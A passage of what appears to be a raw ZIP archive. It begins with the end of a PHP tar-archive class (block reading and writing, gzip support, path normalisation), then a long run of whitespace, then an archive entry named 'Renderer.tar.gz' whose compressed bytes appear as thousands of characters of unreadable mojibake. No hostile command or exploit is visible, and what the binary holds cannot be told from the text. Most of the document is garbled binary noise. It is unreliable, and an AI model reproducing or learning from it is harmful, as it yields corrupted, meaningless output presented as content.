		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           PK     |\&\d d   Renderer.tar.gznu [              	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
[x955]]zHG#ob8B/DHL}xsMIz[khG>Odh^~|DmQT+OԄa[ܙKwR˼mVy)'^<An\.ﾏ&.A2OoSllvQ킾*->SmG7`;ZnR>Ɯ5Ϡ1E^ҲζGs>Qr~6"FAA-n+8sLׇhF٦Gou;UCGo:R(1$;GJ>F:OO]OKm']ʱD+]ɩ:|JLٛ8ǥÇdx,{r)o]z遛pϔqijbhcjoNz7-=yVէk//Pwe>~q'B9SdOp+fI;,5#,4[Yk1&N~ys\Dy)4){QMiγd_w>C{έU8s某h$0Y	~~-'mRS4x]2}a)K)0hhv0|rP,;Z_q!e~7-3}>[-5/$]ΧD]Hlmtkd%cCMe"J7~ێ~(	Ӳw墿Pۥ4/oT˯@#:yUC;y}gϫh)9U^tٮ5m[49nq[R[qw˫rPrIus>'s3÷ħ-j):͘lsO?<A}R~󩡉rv#,Jk|#V4ps˔Bư 59=N=5['[{EͽS{z292%GT>H}qJ'4sH^zr'沧#TiޔPiy=Ä3DeQ5J?1(ՙd1+g:[o{DHۈw@ϩwp<uVG:;Od0askBy<i|r.o3:\2P(?rW5&SۜvUWnىu6{H)m1M!v	]u1z[]IUÝfCXJ򨐳0UԘfEK\0)gCM';ZKetF[eh_v>;xٸܽ-t;JU^~#jv\dVe4𒟠#jHv1λm}iEwZ;%RKvwץ:~*q%r;c-WVt"Eo~ѪFN)`.&kT.2zε禔Je lC8)P˥zٲ'$ǋOY<+w|Au4Od,˓Ujɔlh>8'x>}+)Cfԕ6Qjܮr7lwB#1CqT=-mq!B1B28o_HG<+8~}.O:zvWL`dBnh-^ogam-&MYgvLIRզRz!gwYir[!gh{f=Kѷ^f2qϡJ݉"~ʴ 3v<փ=r39eӚ5؁Hi	/AEJ5ζ_*JLp#)e7gnD1Iދ<R~]ȋsBҴ[^ޝfk$h`-j()8Pl l))+Y2Ŏv&on>D]>{uJm#934Cm}LK8$v݅÷DO۽S=5`G	]ޓ#{(g~ďg]=+%1p˝E'!% Iܦ$Ji|^zApU[Uvw.x;-ٛڵB/yϮUH#5V\>./em+O<E.Vqc5k0>igO˯߯}nls~ODo1nK5E.PIKXz:2"XE޲dwלߊ}y'Yq񄇇n/_Ⱥ2yc;{|
{Իƹhƞo[],Ko`(cU0'ۧ菖6_\kYh0E$i7ؼ>p.ma?=fd|辺L!-o\OxT_O6:ABEf~YRѹt^bt魞񓯺;zkV]ϺYg<v=D0Hs%,g6cd-&cGuȜ-no(v?*Sh>?a@p7ɚ>poгSuZ>?M9la7H[nup?2yqz$&QSUʈ;U+'B{xmq!l~	SI+;:Q-~gQ1G%h|5tŸHĮsl%ڜ&lGc<|rqOxG#$'ۍ*L4JՎailCw
1,QMU7g7rE-j뙤F:%pOgnk!sc`*XK뼔%:PavN'ԸG}u詤ޖ=%ЏpJ*[zA˞MQm,^|QI2ꦡV-A;"F7ުB uQz܇*6eFcђ81lF<I'g>0yQw*ư
mx1AIY77,}`dHÃ%㡬1׺'ׄ)2ERiX0=T.rGOVM#z.^= 恟6[2VAa{GN{4<aҖƟgFU쎨aɐQ?|{DIɫ^JTҗ-n-}u0oass;##v)^3p|ԾT	SrwwmX-h`;I)^r̸T)[=H[ӱvZewf]2HJ"dg%T?ܨ.S%'+zoXn5K]-X\jj\W*Nr.Coп4sQ9|;Dā,i@Q+wWJ74YyQGKsQJ25FsgdWd{]Ֆ0dd^3ʻn;؅pzӣz~ӨvKŻg'f<D=f>}dZ3'S_vK1D{3o,=^{yg#!z_ΥW%<Z* ]/X4] =ݛNFo-NejTGR>Ybsu
י;J\.6|T=qkZ׽V=l;%qGo9'IȠnooaN2Nߗ!a㥘o|+1Yd)U';%={)5K-5/vޥg(^R)xy{3D_c-Xyu4q9cw,?rNt2 6>q&Y_Nn~}N֘3=us\9SzbDL>>J17y}UCѧɿD˽?:peL` h+L8=jrGs0`s{Lzғ7?SPfOnb\{k^E!%,C&k67u_ɆQ_olFww?d
4KL)ﾛGז~HJQϤ]à܀l#fXE*+b-!Y戉$7Fu~HѩmM4
&Qӳ/s/ܭBb.p#ks&=}NfeíTSz6e!GQ[۰;&'VIQu([>Pʀa]QiI9=U9$濾y_Tl%lE{UYE|ǭ+14
C'f!wDtwO?<wƼPc҇ӡ%h#~B$+Ǭ)G-B?Mwf=.taڵ#J_;#3};"X˹O6_^8LN:ΔIl^Qyw1M3~i%wM|MUT״$ΆXN:4wɶj+ιQ|RY'2DR{Fi<;vtsM=מG/N<ߧV(ה}G4Dq촮1Rtq
|\aY'rmJ=613N5>4	4dtŽTv;U#gƯ?dim\P=ኑ(4.yo搎fjm|[<W
"EkT=2NVh%dq*!:PMyl=C齉"w^enΑ!eq2̮뎾#w"\+,vU_d-Qdxn=y]cuy+_z1}ZfltףňM!wU¤MԸ}[A9+3xG6 [Q2A'[o;|;=K`d@owx>hYb4F/ڣr><-z2Qa>FġC&ar\@G#4ɵSԱk0m8:k\K6KW$<<&(SMoN#%FA}
Л}z(Vgf|Y?ry?sܭf>bfٜ_j&`nT/yD^|TH+gq#EZ%.<^TK_2]_3l9/[g&wb՜历2m
?۩t|:Y<$&k[jѻ]oOusI:A஢@/k:{	;*yzͲfI&e)7!TT<0IڷlUsݫT_m|QJΐz$TsG{^G.LTz}m0-hߦ9Ė(؇[s'50YN>87	JKPē]^/wؑz̏SFS2*_u]2ƵвлkՓ(83d=y'ݝ[*|Y{T錣IDK?)ʬ.RލY2y̲s;+͒JxpfsښׇKˍG]<ϚpLv13HwWFi5'Ze+kL%<w&wRr"JOX@Y5<1UF:}TO%[:ݷOAl7:.rh47A*#J(rq< ̃mGAJQ%\2Sjظ*\8Τ'yGC[SJ,?0~+GAoG:gZK.Q8 RPBJk0b"m{jǓ3u8WvƖI1޼竤IPu.¯WO(YzPDioqGXv[$)|.ۧJG3=SbsIHڸpP;qLgvD,o8T<707~6_O[*Qwމ{N].s)|[8a^Yj:$Uh_m<b߲` sw]f;%|xC2'wU5:/pHqb՟ٔk}2cށ	O|'#X$R$zOvFG$u/L~-Yxs!(,=ڍŹ.HC9{S֚o^ {iU,L_(K.5={.LD-}RH ̜`Y(0.WE!cw7{:37U;&n@ǒQϭ"[OQhk1h\P8rQoƘptQ1xÀ3I'署{B>D}"AhmN'%I85֝۟.GLIޤ}oaBIdNؾ>]層/CFJUJ:oꙹNilA	4eT:yyHc'lύ#|bi:y:]	qN}0/ԑ=nEU8Y=$VWLo
gR^?~[O(Z71#aj)X,PI\פCBMt,G\V_V>CDsbC&PZ3vd%r7i7uDX2$ܡZM9Z:'VT1#u|>"о3W}
+ݿ{6WCsv11sf<6pl"ǞӧE99'_(B|#>90W/k\t1a&Jj:ƸXOR5^ψn>9	d1"t^yHdC8Jq;uBf]՚lϴ#߰gIɾXiJkryl\ČLp9>!mb+:@0vLxs'L$gvoiz,FYBy:>\}^1b/P e$ߺCngMm.y}r<Y~|^p,=Հífyͨ>o3;xlf[덨5ߚǋfrbupalK͌u9n)ST+għ+~?Q^o>dgkx5Eܨ\s]:ZmLnp{yW9d.'"|dH51`/l^Bg&nEk˔R;)yzZ9z-Ub˧|{)̑~4dbx4KoDvA+l]4Q}1mL
Ik㉮=u߫*r'Ty(`TxuɴO?عS2$-9{OPR0=0ۖ6Չl{9zfSXNp;F~ߥ^Һ"f!%f̢/sd<eX?:_PoEQ
!zAq6שd{3zHe?z;(S^D/..v䓱.	A_xgmd9#8VZSGS %;+"\Clk=47ٛ6i^Xyca7[כ|<1p2'1Iin<McYIF~vЙ6/lKw(LĶmiܽ泲l+vԌcewFFFWT`(}4%5s/fuw!T|rbq<A :])+bMG3,r尉Bhg8Ǟ."TvQ:yC/\RNjJRN?l;T;@r/4'lI^Χ9pvb"W؎M[Oa(}VR=̱'qEDjR0qwuN>-mˬq#N4;^p%TLPTY(頮B1ilqMdJϲﲛ^y"{푈▶Db*jH堑giӉ$Lsnv4,2M>*=_-P:=̼ tݽ=H"wta[C3tu+9tlB))z`ݞ).uLWcuo,	C.^]l1+X5td߱}\cR	e.sAo.?>q\PT>眊kыC*s9"㿔z]|xqFK낯%l2pe,fԫuܛi
}Ɇaajj*cYaLۆCùslP?Wv+9I<$q؇5ɨ>pH	01aH)0(J4xҝ/esBSk"t$-~nUAHX ._o܏(>{|ajϛs.G.̎~a/ufNsXF}!
Ϲ[L{c
EU`_*+֞Ͳ|tHY׬4JP=ܝBf6iv%Нi3X>'0mcVQg"SE8t>dbgo&#Qoot̤kɺ<GgJF|̉A|kרЛv4P{wk} SN։G:Wg>@_}0{i!RYKɴunɗ#OtDF޶<yl(#;vMi~%=я\yIV݅Wm:s9j[i$ah<l#.k/'2ԡk>R!/2^O.lv	Fr~K
:zyH2<'ZC|,3\s͉Օ+fܺbs*9}:OC
gCowן7)o7Tؼ@{os顬0һA&{,b\ݍ5<z6SE8ǁScǦ:M)jE;m}3H_;"aث%^Ydw~Hn[WHU9i)+[<tj^Q>='e%㕜Iq#SYw1j
݄z&&o48)M?W93~P~]!GPIb	of2dD_$E//e:q">=<r6?q|`/ɒE߽II[~o;keNQ3[>9v_;J2HWk(i'jhKvK0&rQ\҅Y#Pޡ1U;MOe˳֞Vh{MDpcMZV1Z"rB\.Xm5g'K8x)d$b)kk`eJ!uȉ[ucY㧨%Oܵtƾ:/Xy=Ou!^.tcIuŏU-E&|Jlfoܹ>lo=۶5ētu!/[R[qmB qcz_tOվM:㊖[uۻgwL1xFpz7d}jkl{!D)<7kdFt,?rC[Y+|^,H-FSϫH'YyIN,Z۲)zJb57lˎi[DaR\(-/VC$+_Q(t^rĴsU%+{&.=Tcїu0(Ԏ$]ҽ*=AE_-r*ޑ@Ikm᜔$1؄S<0 Wx:9Hn&%f=uۍ0X'uDVgp|I>d$=;ⴤZ@EO4Ti/݊nL6G0))c\9-n?Q{.E[9Wh=m_}|Cޅm#ODIXƲd)Uνb0<Rc$<|;7KЧN	ZFÖ}W[m'%5^A~}Z}Sg@$B]1\T[fW/Ye7j̊tlQvbws.{,Cq`)(85|W<ŭKpۼY	cyD}{HXuy87J̈;٩&l0>Y;̼{M|aTp|:&W7Tjp(t=fHF%pUY=ahkOz{,4N?2C|۲z,xHv(tKH5HA"W՚lqDj׈-򨯊\lf&vO1ĎR}8Uǹd5af>/IקŹy-9M*J/uлi,OURg'3)DPZUr[pϻ;xdvW0%+cY$l6ǖƶmMgǊLY{-ca31J\q
\^bSAxJo*mHk▘J҃Td${4G3EG]食/6h77nLb'p5?@0`Ut`ԝIu36v+\vG1ZFOBS)?,|N&aE\g`5ST%~%Hs^!=ր Z7	ꩈu1ǧHn}Nu籷EΕ4ZJLrST|O[.\.6S,ZľB.nKN~H.M;Z(w̕i*~fyĦm&[{)??zC^Oc^KmA70ծN֒N1҉}yvF2F.f%F%ԉW(:W5POۈǚ{NzH"/#y6Oe܃ہAi 	/N@d#n=Z>)qp5݉A=z4d"F]=(Ǻ|l17pZL(эN4pcOf(pdRǱ(ɯ_hHӬv^¶O2EDft&=|q%aH@"uY1H%'"4c$hv_;P`Js]Y/TGCprs5o¾YV«iI)=Pg1Iq=>Z_x>;Oy8|hة1r#ej_tig@.FC/t_2v^֬`<7H}.U]e}RZ|P7\*??!Ld;K-aKr@ֻl}{Bn%{vHhץg1Vm~IuO_<Bvan(LZ}o
Q1'=qzIb3OUw-ܿTܙ{oҺEX#>m䝩6-%7OFҜquG
MxB8{zd9-l&v~<}Xv2}q{N`F;TDzn{|6ㄵ$5|g-_K".bK]j[#elLA-Re39*7uM]2+˜88JtYS-{-SzڮBU+	&1m<黽+1oܛmIVki[es	<:FxT2^'oqGYDҧ?w_.]+Rs9IEBA6Wޢ7ҐiNQRm6Pܒqc1(eW"?sKvb`١.ޥMk'r#K;bv$HBȟd_X,%aƇ+;^@H=:W~pѰ֯d<C^,b>]ڳ0}ŋdU9)Vc{OoJ5..O,gh{/,\nՃ;&RLXOHnief-S3q:[
Ƿ^=,M`dW6'}=A:;yj\Xɪft xhsJ)oiL<]p69};U-rLvnKc??prLvG*\;=6Uk'.ѝGoZ$89 5᳙5SdJOQM*rjO+gʨMr0ъټ'%Ճg}{?Y#.`mϾJz[wC^*ᙧWNq:2*N(|c)欏	ϝ~4|j.H+3<ԟdw&^>ishf@Ema驯O.2zvj#qB3H\TGYRMG&cYڍpw{*8R2/:ԛ 鹱 (L?'xۼ?&>Yv1Sn'Ol-wvPUه	WTWY ۹'/z'2ۜ)X/K<r~ȓF瞘XT{cO.q-Hz}~CBŞ̭?3Hq{^~YxD%~!h!ܒwi&M^V-0i귌j;*eaL̾IyjOLm+[#nSi_880:I>.gaw~1G/_XGyh)NG~Y|Y;.},q}|Fʹr	mVj1J$J)KM'^g|[٩AIv\"d=ҒHJOךI)Κ*4|)TXxLX='y?lwUDpGI<?d_ E+ v{}ZJ1V͔	vl?Nz-gtPM?B.}1Q-swW.	
6i')N7^x5W#Vܷ}BG67ǝW2r[0ta<U|dăٛ
Mx0vJ}uMVz8@\JPl¼xFkBֲGf!;:L2$M&\/X6_QHzl}st}Z:$tlӗ
Ri}Rp܊yMfߞBvަ&7
uUwIiU\!ԛ:[.Jdhf,J6y)вzVw|=3JuU33©=hBF3O%ȇ@ڎ}tB՘x KgrF;-Ҥ[	6X96c5&mGY/͗CEб:	ҿ8xON]˛x7UE_]y~a𻻉#IzCbYF\0,ڇ)&A5 w5$L;JR̈О|Qtoh&rhjʼ.ϑ#&>X+986q'yNA{wdk-aw;+R,bfba,Z2Qd#m3<j=cKKmomw,λHGm՜0ڔ9ks}V00<YnmA{X-)]DJiĮNؗSv!=r=|pzC!jNߜԩ(R3,3>Gfcg$EI#fD5+M3&Ǝ	4>:m4B]KGϔN]x6^;qfCOu<C[N7mvw;M(|^;貇: 8q߶D;~Ң1bf4;ZG455NjnSw]RKǷÙVs;cHa.ZO䩷f$B[H"@9Wp1"zzjaF:׾u^;V{«}֏lmCuĔ~̩7)e.WKxhjН0z~PrWw?	J+\r%SU])!iҵsdIJS峽5;|z<QS!'()@UG't\{Q/QvW^/vӽWBdxoW;'ĵ_!'cuN<94Gi}7+}3{׏,ǠÒ?RL:7˥QkA;=ƽn'oJ]Z;[)/uk.>_>fݽ75c+Oh'7*>k\9׀R/z2i>8YݱKLh	:w 黡KNJ)Ht) ҅HJM]1}Uz{nK,eljKio\?H{-{$Znw1x<2z<,nE+U
o]*B#syOAwo(jw<;1UPRbzϧU@܆NI&Ǿ 0j1zs>>r yiʾS/FK"
s{HL-jBDz	?c8׉-7"Kv`3r(e=cWZ}u9vW.d7Ag8N)W܋*\)}cUH>6I5 Գ~"C4awGT'L|:]Аݳk}s`Sl{ ȓ==/ޚzt4xWjj3~9>=2nޣ^dtJo2[Y"**k%pR
MJKu>)XXPȓζz2f\0vڈP?4I{H亍^=!Iѻ|*J6inSn5sJϛ{_[<۶g"YHPΖ9-Pw9rqqx2٫W$X,?OII|r>0Y1`L[0%"Fba`cHD!|x7O@qx| NIBA}=qJ'&@B
pV" D$~8ZH	yA&X<@	b`cc"8<ě)!%.a=L0k-Hb@X8 텓@!=|(@1$TmK %|,@id 
yABX$WVHNrr)l8 
Dp8`q<2
F |x FU|q HxA-O8tBHX	⋀ +rHd%=X,3~>?ѿ,|~/iQr?˿ Kai%og4Wϐ8?)|mgc`?",%$$+[\H>/i9+pO?@XAIZAIRX/@o"#|a?:o3j 

SDG/A_p8+((_#M_ǈ?F70<} D}x@00_őЂH/Jtaee,[f7,?E=/?tx,3e~9OoQQV?PJ0/7Z/huDGi$C_?F`o"'"%?7'|e$Fio~}ԯ+]"P]DG .#~1Y![A#Y%_3~Mܯ3׈[䭧/v$ϐuh_?CeD+mGo+oi$PRP'Dϻ$gx8
B5'<%FhJd^C;=X}Cp402hAJR045c%]=p$:b1-:v')))aC1RZoQ7c7{qVi$+N~ԯ;(e~3_3_.-)En'"VJ@_8GǊDBaH`"`4 X$?D&%QO@!LaKQX`
OKi+*z+?CW1?"f2.cd%$- ?E1{n'sV.Ioi_HP_#~kKH2+4RTQv:	R$
D}/NoN?ޯk#?ԿAuu"2D':="~N/}42	oS#ޅ G~_%~jB*~$/iIosď/?CXn)|du?A$&SQ	R jk_%~/v3͟ P:Ug|y/K9%M_K	Rh	?D1RkDr.GLi,3|
_X?F}}_Q4ZO_ogHQ^I`FW}_7zI棿oy4K	RM_uB|e_$?YaC0^&-H¤%`R`DB?Q/ο/&/#K $%)äd`ҿQQzp0" ڂn+%.B䐀hcH`W@ksQs}}G(Gy fV@F!xx%yEyQ$ý(o `( )  G" whs^pۆ*di(o*Av.H ڵ..^2A0h]$^H;Cnݼص.j*.
\.U$V_>(9Bi& zőh$^pR+/+`
+/|J<6AH:ENKy`+Ix
?nXxຸƁ00
K Oc0(8!XO_QTעHQ(`+Bxݼv	`݈@" O[k3:E |~+Fh?''
CQ?(pТa@g`(.%!=E&R&/FAAw#5$>(ܓ0@ )X[@@xb @6B1^ND {4@Piik'$&` GP9p8kzAcpL0i}8`,p!u߬ʈAȞ	W@wi;hCWD (VC@!`jE0(BΕMB!  r {d5$ʫ<|A:o{S@*b	(lL(-0r5m,Ixx#<7@aW|A!qb度`<*.Bw
79@/Wb*Zcq@.kE 9 lJ@WFQ< 0@D`Y	Q^`Q^!ĬK|(DķCH!kFlfP%	A17kAQ^o}-|'e`޵(շ$VzjVd'DϕwSw@^Y9-q$U`J` 
>b 	ᐄ.\ZC@	z;1*i]3vA|z0bP^!6#<79[q[	q#<Dyt-,k독@|X	ځN x(b	OLQ`\oXD hOP!@E!HO,LR.g)WwIW03hʓ"PQ(6B ?X'Juܬt-mum`<UYeC JXj`o = -J ?d!8rT\`]P"EK IWnr `
J(8h{
	f7CjvT` =XgT/7<n$2!	~`
cf/UprLued n^}DHh']@]rH ,D?PH*C@qjB)2		 qn A<hПU@\돍[^װՌJ(a^ܷ[:XsqC:pWfo%ZV%IW	
